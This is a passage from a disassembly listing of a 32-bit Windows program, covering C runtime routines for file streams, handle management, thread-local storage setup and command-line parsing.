[ebp+arg_8] test ebx, ebx jnz short loc_408B37 xor eax, eax jmp loc_408C5B ; --------------------------------------------------------------------------- loc_408B37: ; CODE XREF: sub_408B20+Ej mov ax, [ebx] and ax, 80h mov [ebp+var_2], ax mov edi, ebx mov esi, offset dword_40FAE8 mov ecx, 13h rep movsd lea eax, [ebx+48h] mov [ebx+8], eax lea eax, [ebx+48h] mov [ebx+10h], eax lea eax, [ebx+48h] mov [ebx+14h], eax lea eax, [ebx+48h] mov [ebx+2Ch], eax lea eax, [ebx+48h] mov [ebx+18h], eax lea eax, [ebx+48h] mov [ebx+30h], eax lea eax, [ebx+48h] mov [ebx+1Ch], eax lea eax, [ebx+28h] mov [ebx+20h], eax mov eax, [ebp+arg_4] cmp byte ptr [eax], 72h jnz short loc_408B91 mov [ebp+var_8], 1 jmp short loc_408BB8 ; --------------------------------------------------------------------------- loc_408B91: ; CODE XREF: sub_408B20+66j mov eax, [ebp+arg_4] cmp byte ptr [eax], 77h jnz short loc_408BA2 mov [ebp+var_8], 1Ah jmp short loc_408BB5 ; --------------------------------------------------------------------------- loc_408BA2: ; CODE XREF: sub_408B20+77j mov eax, [ebp+arg_4] cmp byte ptr [eax], 61h setnz al and eax, 1 dec eax and eax, 16h mov [ebp+var_8], eax loc_408BB5: ; CODE XREF: sub_408B20+80j mov eax, [ebp+var_8] loc_408BB8: ; CODE XREF: sub_408B20+6Fj movzx eax, [ebp+var_2] or eax, [ebp+var_8] mov [ebx], ax test word ptr [ebx], 3 jnz short loc_408BFB push ebx call sub_407560 pop ecx xor eax, eax jmp loc_408C5B ; --------------------------------------------------------------------------- loc_408BD7: ; CODE XREF: sub_408B20+E5j ; sub_408B20+EDj mov eax, [ebp+arg_4] cmp byte ptr [eax], 62h jnz short loc_408BEC test word ptr [ebx], 20h jnz short loc_408C0F or word ptr [ebx], 20h jmp short loc_408BFB ; --------------------------------------------------------------------------- loc_408BEC: ; CODE XREF: sub_408B20+BDj movzx eax, word ptr [ebx] and eax, 3 cmp eax, 3 jz short loc_408C0F or word ptr [ebx], 3 loc_408BFB: ; CODE XREF: sub_408B20+A7j ; sub_408B20+CAj mov eax, [ebp+arg_4] inc eax mov [ebp+arg_4], eax cmp byte ptr [eax], 62h jz short loc_408BD7 mov eax, [ebp+arg_4] cmp byte ptr [eax], 2Bh jz short loc_408BD7 loc_408C0F: ; CODE XREF: sub_408B20+C4j ; sub_408B20+D5j cmp [ebp+arg_0], 0 jz short loc_408C3D mov eax, [ebp+arg_4] push eax movzx eax, word ptr [ebx] push eax mov eax, [ebp+arg_0] push eax call sub_40A5E0 add esp, 0Ch mov [ebx+4], eax cmp dword ptr [ebx+4], 0 jge short loc_408C54 push ebx call sub_407560 pop ecx xor eax, eax jmp short loc_408C5B ; --------------------------------------------------------------------------- loc_408C3D: ; CODE XREF: sub_408B20+F3j cmp [ebp+arg_C], 0 jge short loc_408C4E push ebx call sub_407560 pop ecx xor eax, eax jmp short loc_408C5B ; --------------------------------------------------------------------------- loc_408C4E: ; CODE XREF: sub_408B20+121j mov eax, [ebp+arg_C] mov [ebx+4], eax loc_408C54: ; CODE XREF: sub_408B20+110j call sub_407400 mov eax, ebx loc_408C5B: ; CODE XREF: sub_408B20+12j ; sub_408B20+B2j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_408B20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_408C70 proc near ; CODE XREF: sub_407400+4Dp arg_0 = dword ptr 4 mov eax, dword_4111A4 cmp dword_4111A0, eax ja short loc_408C84 call sub_40A650 jmp short locret_408C9D ; --------------------------------------------------------------------------- loc_408C84: ; CODE XREF: sub_408C70+Bj mov eax, dword_4111A4 lea edx, [eax+1] mov dword_4111A4, edx mov edx, [esp+arg_0] mov dword_411060[eax*4], edx locret_408C9D: ; CODE XREF: sub_408C70+12j retn sub_408C70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408CA0 proc near ; CODE XREF: sub_407480+8p ; sub_407760+D0p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov ebx, [ebp+arg_0] test ebx, ebx jnz short loc_408CFE push 6 call sub_408740 pop ecx mov [ebp+var_8], 0 mov [ebp+var_4], 0 jmp short loc_408CE8 ; --------------------------------------------------------------------------- loc_408CC8: ; CODE XREF: sub_408CA0+4Fj mov eax, [ebp+var_4] mov eax, off_411370[eax*4] test eax, eax jz short loc_408CE5 push eax call sub_408CA0 pop ecx test eax, eax jge short loc_408CE5 or [ebp+var_8], 0FFFFFFFFh loc_408CE5: ; CODE XREF: sub_408CA0+34j ; sub_408CA0+3Fj inc [ebp+var_4] loc_408CE8: ; CODE XREF: sub_408CA0+26j cmp [ebp+var_4], 100h jl short loc_408CC8 push 6 call sub_4087C0 pop ecx mov eax, [ebp+var_8] jmp short loc_408D70 ; --------------------------------------------------------------------------- loc_408CFE: ; CODE XREF: sub_408CA0+Ej test word ptr [ebx], 2000h jnz short loc_408D09 xor eax, eax jmp short loc_408D70 ; --------------------------------------------------------------------------- loc_408D09: ; CODE XREF: sub_408CA0+63j mov esi, [ebx+8] jmp short loc_408D45 ; --------------------------------------------------------------------------- loc_408D0E: ; CODE XREF: sub_408CA0+A8j mov eax, [ebx+10h] sub eax, esi push eax push esi mov eax, [ebx+4] push eax call sub_40A860 add esp, 0Ch mov edi, eax test edi, edi jg short loc_408D43 mov eax, [ebx+8] mov [ebx+10h], eax mov eax, [ebx+8] mov [ebx+18h], eax mov eax, [ebx+8] mov [ebx+30h], eax or word ptr [ebx], 200h or eax, 0FFFFFFFFh jmp short loc_408D70 ; --------------------------------------------------------------------------- loc_408D43: ; CODE XREF: sub_408CA0+85j add esi, edi loc_408D45: ; CODE XREF: sub_408CA0+6Cj cmp esi, [ebx+10h] jb short loc_408D0E mov eax, [ebx+8] mov [ebx+10h], eax test word ptr [ebx], 0C00h jz short loc_408D5C mov esi, [ebx+8] jmp short loc_408D5F ; --------------------------------------------------------------------------- loc_408D5C: ; CODE XREF: sub_408CA0+B5j mov esi, [ebx+0Ch] loc_408D5F: ; CODE XREF: sub_408CA0+BAj test word ptr [ebx], 4000h jz short loc_408D6B mov [ebx+18h], esi jmp short loc_408D6E ; --------------------------------------------------------------------------- loc_408D6B: ; CODE XREF: sub_408CA0+C4j mov [ebx+30h], esi loc_408D6E: ; CODE XREF: sub_408CA0+C9j xor eax, eax loc_408D70: ; CODE XREF: sub_408CA0+5Cj ; sub_408CA0+67j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_408CA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408D80 proc near ; CODE XREF: sub_408E20+41p ; sub_40B8E0+328p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 4 push ebx push esi mov ebx, [ebp+arg_0] push ebx call sub_40AB60 pop ecx cmp eax, 0FFFFFFFFh jz short loc_408DCF cmp ebx, 1 jz short loc_408DA3 cmp ebx, 2 jnz short loc_408DBD loc_408DA3: ; CODE XREF: sub_408D80+1Cj push 1 call sub_40AB60 pop ecx mov [ebp+var_4], eax push 2 call sub_40AB60 pop ecx mov edx, [ebp+var_4] cmp edx, eax jz short loc_408DCF loc_408DBD: ; CODE XREF: sub_408D80+21j push ebx call sub_40AB60 pop ecx push eax call dword_411CF8 ; CloseHandle test eax, eax jz short loc_408DD3 loc_408DCF: ; CODE XREF: sub_408D80+17j ; sub_408D80+3Bj xor esi, esi jmp short loc_408DDB ; --------------------------------------------------------------------------- loc_408DD3: ; CODE XREF: sub_408D80+4Dj call dword_411CE8 ; RtlGetLastWin32Error mov esi, eax loc_408DDB: ; CODE XREF: sub_408D80+51j push ebx call sub_40AA10 pop ecx mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] mov byte ptr [edx+eax+4], 0 test esi, esi jz short loc_408E0B push esi call sub_408240 pop ecx or eax, 0FFFFFFFFh jmp short loc_408E0D ; --------------------------------------------------------------------------- loc_408E0B: ; CODE XREF: sub_408D80+7Dj xor eax, eax loc_408E0D: ; CODE XREF: sub_408D80+89j pop esi pop ebx mov esp, ebp pop ebp retn sub_408D80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_408E20 proc near ; CODE XREF: sub_407480+30p arg_0 = dword ptr 4 push ebx push esi mov ebx, [esp+8+arg_0] cmp ebx, dword_413A88 jnb short loc_408E49 mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] test byte ptr [edx+eax+4], 1 jnz short loc_408E59 loc_408E49: ; CODE XREF: sub_408E20+Cj call sub_4083A0 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp short loc_408E72 ; --------------------------------------------------------------------------- loc_408E59: ; CODE XREF: sub_408E20+27j push ebx call sub_40AC80 pop ecx push ebx call sub_408D80 pop ecx mov esi, eax push ebx call sub_40ACE0 pop ecx mov eax, esi loc_408E72: ; CODE XREF: sub_408E20+37j pop esi pop ebx retn sub_408E20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_408E80 proc near ; CODE XREF: sub_4076C0+39p ; sub_4087E0+102p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] mov eax, [esp+arg_4] mov dl, al jmp short loc_408E95 ; --------------------------------------------------------------------------- loc_408E8C: ; CODE XREF: sub_408E80+17j cmp byte ptr [ecx], 0 jnz short loc_408E94 xor eax, eax retn ; --------------------------------------------------------------------------- loc_408E94: ; CODE XREF: sub_408E80+Fj inc ecx loc_408E95: ; CODE XREF: sub_408E80+Aj cmp [ecx], dl jnz short loc_408E8C mov eax, ecx retn sub_408E80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408EA0 proc near ; CODE XREF: sub_407760+3Dp ; sub_40CE00+1Dp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 4 push ebx mov ebx, [ebp+arg_0] mov eax, [ebx+18h] cmp eax, [ebx+10h] jbe short loc_408EB9 xor eax, eax jmp loc_408F92 ; --------------------------------------------------------------------------- loc_408EB9: ; CODE XREF: sub_408EA0+10j movzx eax, word ptr [ebx] and eax, 9002h cmp eax, 2 jz short loc_408EF5 movzx eax, word ptr [ebx] mov [ebp+var_4], eax test eax, 8000h setnz al and eax, 1 dec eax and eax, 4000h add eax, 200h mov edx, [ebp+var_4] or edx, eax mov ax, dx mov [ebx], ax or eax, 0FFFFFFFFh jmp loc_408F92 ; --------------------------------------------------------------------------- loc_408EF5: ; CODE XREF: sub_408EA0+24j movzx eax, word ptr [ebx] and eax, 6000h cmp eax, 6000h jnz short loc_408F1C mov eax, [ebx+0Ch] cmp eax, [ebx+10h] ja short loc_408F1C push ebx call sub_408CA0 pop ecx test eax, eax jz short loc_408F1C or eax, 0FFFFFFFFh jmp short loc_408F92 ; --------------------------------------------------------------------------- loc_408F1C: ; CODE XREF: sub_408EA0+62j ; sub_408EA0+6Aj ... test word ptr [ebx], 0C00h jnz short loc_408F2B lea eax, [ebx+48h] cmp eax, [ebx+8] jz short loc_408F2D loc_408F2B: ; CODE XREF: sub_408EA0+81j jmp short loc_408F7F ; --------------------------------------------------------------------------- loc_408F2D: ; CODE XREF: sub_408EA0+89j push 200h call sub_4081A0 pop ecx mov [ebx+8], eax test eax, eax jnz short loc_408F59 lea eax, [ebx+48h] mov [ebx+8], eax mov eax, [ebx+8] mov [ebx+10h], eax mov eax, [ebx+8] inc eax mov [ebx+0Ch], eax call sub_407400 jmp short loc_408F7F ; --------------------------------------------------------------------------- loc_408F59: ; CODE XREF: sub_408EA0+9Dj or word ptr [ebx], 40h mov eax, [ebx+8] mov [ebx+10h], eax mov eax, [ebx+8] add eax, 200h mov [ebx+0Ch], eax mov eax, [ebx+8] mov [ebx+2Ch], eax mov eax, [ebx+8] mov [ebx+30h], eax call sub_407400 loc_408F7F: ; CODE XREF: sub_408EA0:loc_408F2Bj ; sub_408EA0+B7j mov eax, [ebx+8] mov [ebx+14h], eax mov eax, [ebx+0Ch] mov [ebx+18h], eax or word ptr [ebx], 6000h xor eax, eax loc_408F92: ; CODE XREF: sub_408EA0+14j ; sub_408EA0+50j ... pop ebx mov esp, ebp pop ebp retn sub_408EA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_408FA0 proc near ; CODE XREF: sub_407760+59p ; sub_409C30+696p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] mov bl, al mov edx, [esp+4+arg_0] jmp short loc_408FBB ; --------------------------------------------------------------------------- loc_408FB1: ; CODE XREF: sub_408FA0+1Dj cmp [edx], bl jnz short loc_408FB9 mov eax, edx jmp short loc_408FC1 ; --------------------------------------------------------------------------- loc_408FB9: ; CODE XREF: sub_408FA0+13j inc edx dec ecx loc_408FBB: ; CODE XREF: sub_408FA0+Fj test ecx, ecx jnz short loc_408FB1 xor eax, eax loc_408FC1: ; CODE XREF: sub_408FA0+17j pop ebx retn sub_408FA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_408FD0 proc near ; CODE XREF: sub_407AA0:loc_407AE7p push ebx call sub_4086A0 call dword_411DD4 ; TlsAlloc mov dword_411770, eax cmp eax, 0FFFFFFFFh jnz short loc_408FEC xor eax, eax jmp short loc_409027 ; --------------------------------------------------------------------------- loc_408FEC: ; CODE XREF: sub_408FD0+16j push 48h call sub_4081A0 pop ecx mov ebx, eax test eax, eax jz short loc_40900B push ebx mov eax, dword_411770 push eax call dword_411D98 ; TlsSetValue test eax, eax jnz short loc_40900F loc_40900B: ; CODE XREF: sub_408FD0+28j xor eax, eax jmp short loc_409027 ; --------------------------------------------------------------------------- loc_40900F: ; CODE XREF: sub_408FD0+39j push ebx call sub_409060 pop ecx call dword_411DD8 ; GetCurrentThreadId mov [ebx], eax or dword ptr [ebx+4], 0FFFFFFFFh mov eax, 1 loc_409027: ; CODE XREF: sub_408FD0+1Aj ; sub_408FD0+3Dj pop ebx retn sub_408FD0 endp ; --------------------------------------------------------------------------- align 10h call sub_4086E0 cmp dword_411770, 0FFFFFFFFh jz short locret_409054 mov eax, dword_411770 push eax call dword_411DDC ; TlsFree or dword_411770, 0FFFFFFFFh locret_409054: ; CODE XREF: DMN0:0040903Fj retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_409060 proc near ; CODE XREF: sub_407910+17p ; sub_408FD0+40p ... arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] mov edx, ebx mov ecx, 48h xor eax, eax push edi mov edi, edx rep stosb pop edi mov eax, edx mov dword ptr [ebx+34h], offset dword_4117E4 mov dword ptr [ebx+10h], 1 pop ebx retn sub_409060 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_409090 proc near ; CODE XREF: sub_4079A0+1p sub_4083A0p ... push ebx push esi call dword_411CE8 ; RtlGetLastWin32Error mov esi, eax mov eax, dword_411770 push eax call dword_411DE0 ; TlsGetValue mov ebx, eax test eax, eax jnz short loc_4090E8 push 48h call sub_4081A0 pop ecx mov ebx, eax test eax, eax jz short loc_4090E0 push ebx mov eax, dword_411770 push eax call dword_411D98 ; TlsSetValue test eax, eax jz short loc_4090E0 push ebx call sub_409060 pop ecx call dword_411DD8 ; GetCurrentThreadId mov [ebx], eax or dword ptr [ebx+4], 0FFFFFFFFh jmp short loc_4090E8 ; --------------------------------------------------------------------------- loc_4090E0: ; CODE XREF: sub_409090+28j ; sub_409090+39j push 1 call sub_409190 pop ecx loc_4090E8: ; CODE XREF: sub_409090+1Aj ; sub_409090+4Ej push esi call dword_411D14 ; RtlRestoreLastWin32Error mov eax, ebx pop esi pop ebx retn sub_409090 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_409100 proc near ; CODE XREF: sub_4079A0+28p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] cmp dword_411770, 0FFFFFFFFh jz short loc_40918C test ebx, ebx jnz short loc_409123 mov eax, dword_411770 push eax call dword_411DE0 ; TlsGetValue mov ebx, eax loc_409123: ; CODE XREF: sub_409100+13j test ebx, ebx jz short loc_40917E mov eax, [ebx+20h] push eax call sub_4070F0 pop ecx mov eax, [ebx+24h] push eax call sub_4070F0 pop ecx mov eax, [ebx+28h] push eax call sub_4070F0 pop ecx mov eax, [ebx+2Ch] push eax call sub_4070F0 pop ecx mov eax, [ebx+30h] push eax call sub_4070F0 pop ecx mov eax, [ebx+34h] cmp eax, offset dword_4117E4 jz short loc_40916D mov eax, [ebx+34h] push eax call sub_4070F0 pop ecx loc_40916D: ; CODE XREF: sub_409100+61j mov eax, [ebx+3Ch] push eax call sub_4070F0 pop ecx push ebx call sub_4070F0 pop ecx loc_40917E: ; CODE XREF: sub_409100+25j push 0 mov eax, dword_411770 push eax call dword_411D98 ; TlsSetValue loc_40918C: ; CODE XREF: sub_409100+Fj pop ebx retn sub_409100 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_409190 proc near ; CODE XREF: sub_407870+3Cp ; sub_407870+7Ap ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call dword_411D30 ; ExitProcess retn sub_409190 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4091A0 proc near ; CODE XREF: sub_407870+6Ap ; sub_407AA0+F7p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov ebx, [esp+0Ch+arg_0] mov esi, offset dword_411774 jmp short loc_4091F2 ; --------------------------------------------------------------------------- loc_4091AE: ; CODE XREF: sub_4091A0+58j cmp [esi], ebx jnz short loc_4091EF push 1 mov eax, [esi+4] push eax call sub_40AD50 add esp, 8 mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_4091CE test edi, edi jnz short loc_4091D0 loc_4091CE: ; CODE XREF: sub_4091A0+28j jmp short loc_4091FA ; --------------------------------------------------------------------------- loc_4091D0: ; CODE XREF: sub_4091A0+2Cj cmp edi, 1 jz short loc_4091EA push 0 mov eax, [esi+4] push eax call sub_40AD50 add esp, 8 mov eax, [esi+4] push eax call edi pop ecx loc_4091EA: ; CODE XREF: sub_4091A0+33j or eax, 0FFFFFFFFh jmp short loc_409205 ; --------------------------------------------------------------------------- loc_4091EF: ; CODE XREF: sub_4091A0+10j add esi, 8 loc_4091F2: ; CODE XREF: sub_4091A0+Cj cmp esi, offset dword_4117C4 jb short loc_4091AE loc_4091FA: ; CODE XREF: sub_4091A0:loc_4091CEj mov eax, [esp+0Ch+arg_4] push eax call dword_411DE4 ; UnhandledExceptionFilter loc_409205: ; CODE XREF: sub_4091A0+4Dj pop edi pop esi pop ebx retn sub_4091A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_409210 proc near ; CODE XREF: sub_407A90+5p arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call dword_411D18 ; DeleteFileA test eax, eax jnz short loc_409230 call dword_411CE8 ; RtlGetLastWin32Error push eax call sub_408240 pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_409230: ; CODE XREF: sub_409210+Dj xor eax, eax retn sub_409210 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_409240 proc near ; CODE XREF: sub_407AA0+5Fp push offset dword_412854 call dword_411DE8 ; GetSystemTimeAsFileTime retn sub_409240 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 push ebx lea eax, [ebp-8] push eax call dword_411DE8 ; GetSystemTimeAsFileTime mov eax, [ebp-8] mov edx, [ebp-4] mov ecx, dword_412854 mov ebx, dword_412858 sub eax, ecx sbb edx, ebx mov [ebp-8], eax mov [ebp-4], edx mov eax, [ebp-8] mov edx, [ebp-4] push edx push eax push 0 push 2710h call sub_40AE40 pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4092A0 proc near ; CODE XREF: sub_407AA0+64p var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_26 = word ptr -26h var_24 = dword ptr -24h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 64h push ebx push esi push edi push 480h call sub_4081A0 pop ecx mov ebx, eax test eax, eax jnz short loc_4092C2 push 1 call sub_409190 pop ecx loc_4092C2: ; CODE XREF: sub_4092A0+18j mov dword_413988, ebx mov dword_413A88, 20h jmp short loc_4092EC ; --------------------------------------------------------------------------- loc_4092D4: ; CODE XREF: sub_4092A0+58j mov byte ptr [ebx+4], 0 mov dword ptr [ebx], 0FFFFFFFFh mov byte ptr [ebx+5], 0Ah mov dword ptr [ebx+8], 0 add ebx, 24h loc_4092EC: ; CODE XREF: sub_4092A0+32j mov eax, dword_413988 add eax, 480h cmp ebx, eax jb short loc_4092D4 lea eax, [ebp+var_58] push eax call dword_411DA8 ; GetStartupInfoA cmp [ebp+var_26], 0 jz loc_409412 cmp [ebp+var_24], 0 jz loc_409412 mov eax, [ebp+var_24] mov eax, [eax] mov [ebp+var_10], eax mov eax, [ebp+var_24] add eax, 4 mov [ebp+var_4], eax mov eax, [ebp+var_10] mov edx, [ebp+var_4] add edx, eax mov [ebp+var_8], edx cmp eax, 800h jle short loc_409343 mov [ebp+var_10], 800h loc_409343: ; CODE XREF: sub_4092A0+9Aj mov esi, 1 jmp short loc_40939E ; --------------------------------------------------------------------------- loc_40934A: ; CODE XREF: sub_4092A0+107j push 480h call sub_4081A0 pop ecx mov ebx, eax test eax, eax jnz short loc_409365 mov eax, dword_413A88 mov [ebp+var_10], eax jmp short loc_4093A9 ; --------------------------------------------------------------------------- loc_409365: ; CODE XREF: sub_4092A0+B9j mov dword_413988[esi*4], ebx add dword_413A88, 20h jmp short loc_40938D ; --------------------------------------------------------------------------- loc_409375: ; CODE XREF: sub_4092A0+FBj mov byte ptr [ebx+4], 0 mov dword ptr [ebx], 0FFFFFFFFh mov byte ptr [ebx+5], 0Ah mov dword ptr [ebx+8], 0 add ebx, 24h loc_40938D: ; CODE XREF: sub_4092A0+D3j mov eax, dword_413988[esi*4] add eax, 480h cmp ebx, eax jb short loc_409375 inc esi loc_40939E: ; CODE XREF: sub_4092A0+A8j mov eax, [ebp+var_10] cmp dword_413A88, eax jl short loc_40934A loc_4093A9: ; CODE XREF: sub_4092A0+C3j xor edi, edi jmp short loc_40940D ; --------------------------------------------------------------------------- loc_4093AD: ; CODE XREF: sub_4092A0+170j mov eax, [ebp+var_8] mov eax, [eax] cmp eax, 0FFFFFFFFh jz short loc_409400 mov edx, [ebp+var_4] movzx edx, byte ptr [edx] test edx, 1 jz short loc_409400 test edx, 8 jnz short loc_4093DA push eax call dword_411DEC ; GetFileType test eax, eax jz short loc_409400 loc_4093DA: ; CODE XREF: sub_4092A0+12Dj mov eax, edi and eax, 1Fh imul eax, 24h mov edx, edi sar edx, 5 mov edx, dword_413988[edx*4] lea ebx, [edx+eax] mov eax, [ebp+var_8] mov eax, [eax] mov [ebx], eax mov eax, [ebp+var_4] mov al, [eax] mov [ebx+4], al loc_409400: ; CODE XREF: sub_4092A0+117j ; sub_4092A0+125j ... inc edi inc [ebp+var_4] mov eax, [ebp+var_8] add eax, 4 mov [ebp+var_8], eax loc_40940D: ; CODE XREF: sub_4092A0+10Bj cmp edi, [ebp+var_10] jl short loc_4093AD loc_409412: ; CODE XREF: sub_4092A0+69j ; sub_4092A0+73j xor edi, edi loc_409414: ; CODE XREF: sub_4092A0+23Ej imul eax, edi, 24h mov edx, dword_413988 lea ebx, [edx+eax] cmp dword ptr [ebx], 0FFFFFFFFh jnz loc_4094D6 mov byte ptr [ebx+4], 81h test edi, edi jnz short loc_40943D mov [ebp+var_5C], 0FFFFFFF6h jmp short loc_40944E ; --------------------------------------------------------------------------- loc_40943D: ; CODE XREF: sub_4092A0+192j cmp edi, 1 setz al and eax, 1 add eax, 0FFFFFFF4h mov [ebp+var_5C], eax loc_40944E: ; CODE XREF: sub_4092A0+19Bj mov eax, [ebp+var_5C] push eax call dword_411CD4 ; GetStdHandle mov [ebp+var_C], eax cmp eax, 0FFFFFFFFh jz short loc_4094D0 mov eax, [ebp+var_C] push eax call dword_411DEC ; GetFileType mov [ebp+var_14], eax test eax, eax jz short loc_4094D0 call dword_411D64 ; GetCurrentProcess mov [ebp+var_64], eax call dword_411D64 ; GetCurrentProcess push 2 push 1 push 0 lea edx, [ebp+var_60] push edx push eax mov eax, [ebp+var_C] push eax mov eax, [ebp+var_64] push eax call dword_411DF0 ; DuplicateHandle test eax, eax jz short loc_4094A5 mov eax, [ebp+var_60] mov [ebp+var_C], eax loc_4094A5: ; CODE XREF: sub_4092A0+1FDj mov eax, [ebp+var_C] mov [ebx], eax mov eax, [ebp+var_14] and eax, 0FFh cmp eax, 2 jnz short loc_4094BD or byte ptr [ebx+4], 40h jmp short loc_4094DA ; --------------------------------------------------------------------------- loc_4094BD: ; CODE XREF: sub_4092A0+215j mov eax, [ebp+var_14] and eax, 0FFh cmp eax, 3 jnz short loc_4094DA or byte ptr [ebx+4], 8 jmp short loc_4094DA ; --------------------------------------------------------------------------- loc_4094D0: ; CODE XREF: sub_4092A0+1C0j ; sub_4092A0+1D1j or byte ptr [ebx+4], 40h jmp short loc_4094DA ; --------------------------------------------------------------------------- loc_4094D6: ; CODE XREF: sub_4092A0+186j or byte ptr [ebx+4], 80h loc_4094DA: ; CODE XREF: sub_4092A0+21Bj ; sub_4092A0+228j ... inc edi cmp edi, 3 jl loc_409414 mov eax, dword_413A88 push eax call dword_411DF4 ; LockResource pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4092A0 endp ; --------------------------------------------------------------------------- align 10h push ebx push esi xor ebx, ebx loc_409504: ; CODE XREF: DMN0:00409557j cmp dword_413988[ebx*4], 0 jz short loc_409553 mov esi, dword_413988[ebx*4] jmp short loc_40952A ; --------------------------------------------------------------------------- loc_409517: ; CODE XREF: DMN0:00409538j cmp dword ptr [esi+8], 0 jz short loc_409527 lea eax, [esi+0Ch] push eax call dword_411DCC ; RtlDeleteCriticalSection loc_409527: ; CODE XREF: DMN0:0040951Bj add esi, 24h loc_40952A: ; CODE XREF: DMN0:00409515j mov eax, dword_413988[ebx*4] add eax, 480h cmp esi, eax jb short loc_409517 mov eax, dword_413988[ebx*4] push eax call sub_4070F0 pop ecx mov dword_413988[ebx*4], 0 loc_409553: ; CODE XREF: DMN0:0040950Cj inc ebx cmp ebx, 40h jl short loc_409504 pop esi pop ebx retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409560 proc near ; CODE XREF: sub_409710+3Fp ; sub_409710+76p var_9 = byte ptr -9 var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 0Ch push ebx push edi mov ecx, [ebp+arg_8] mov edx, [ebp+arg_10] mov dword ptr [edx], 0 mov edx, [ebp+arg_C] mov dword ptr [edx], 1 mov ebx, [ebp+arg_0] cmp [ebp+arg_4], 0 jz short loc_409591 mov eax, [ebp+arg_4] lea edx, [eax+4] mov [ebp+arg_4], edx mov [eax], ecx loc_409591: ; CODE XREF: sub_409560+24j cmp byte ptr [ebx], 22h jnz short loc_4095CC jmp short loc_4095A8 ; --------------------------------------------------------------------------- loc_409598: ; CODE XREF: sub_409560+53j test ecx, ecx jz short loc_4095A3 mov eax, ecx inc ecx mov dl, [ebx] mov [eax], dl loc_4095A3: ; CODE XREF: sub_409560+3Aj mov eax, [ebp+arg_10] inc dword ptr [eax] loc_4095A8: ; CODE XREF: sub_409560+36j inc ebx mov eax, ebx cmp byte ptr [eax], 22h jz short loc_4095B5 cmp byte ptr [ebx], 0 jnz short loc_409598 loc_4095B5: ; CODE XREF: sub_409560+4Ej test ecx, ecx jz short loc_4095BF mov eax, ecx inc ecx mov byte ptr [eax], 0 loc_4095BF: ; CODE XREF: sub_409560+57j mov eax, [ebp+arg_10] inc dword ptr [eax] cmp byte ptr [ebx], 22h jnz short loc_409604 inc ebx jmp short loc_409604 ; --------------------------------------------------------------------------- loc_4095CC: ; CODE XREF: sub_409560+34j ; sub_409560+91j test ecx, ecx jz short loc_4095D7 mov eax, ecx inc ecx mov dl, [ebx] mov [eax], dl loc_4095D7: ; CODE XREF: sub_409560+6Ej mov eax, [ebp+arg_10] inc dword ptr [eax] mov eax, ebx inc ebx mov al, [eax] mov [ebp+var_9], al mov al, [ebp+var_9] cmp al, 20h jz short loc_4095F3 test al, al jz short loc_4095F3 cmp al, 9 jnz short loc_4095CC loc_4095F3: ; CODE XREF: sub_409560+89j ; sub_409560+8Dj cmp [ebp+var_9], 0 jnz short loc_4095FC dec ebx jmp short loc_409604 ; --------------------------------------------------------------------------- loc_4095FC: ; CODE XREF: sub_409560+97j test ecx, ecx jz short loc_409604 mov byte ptr [ecx-1], 0 loc_409604: ; CODE XREF: 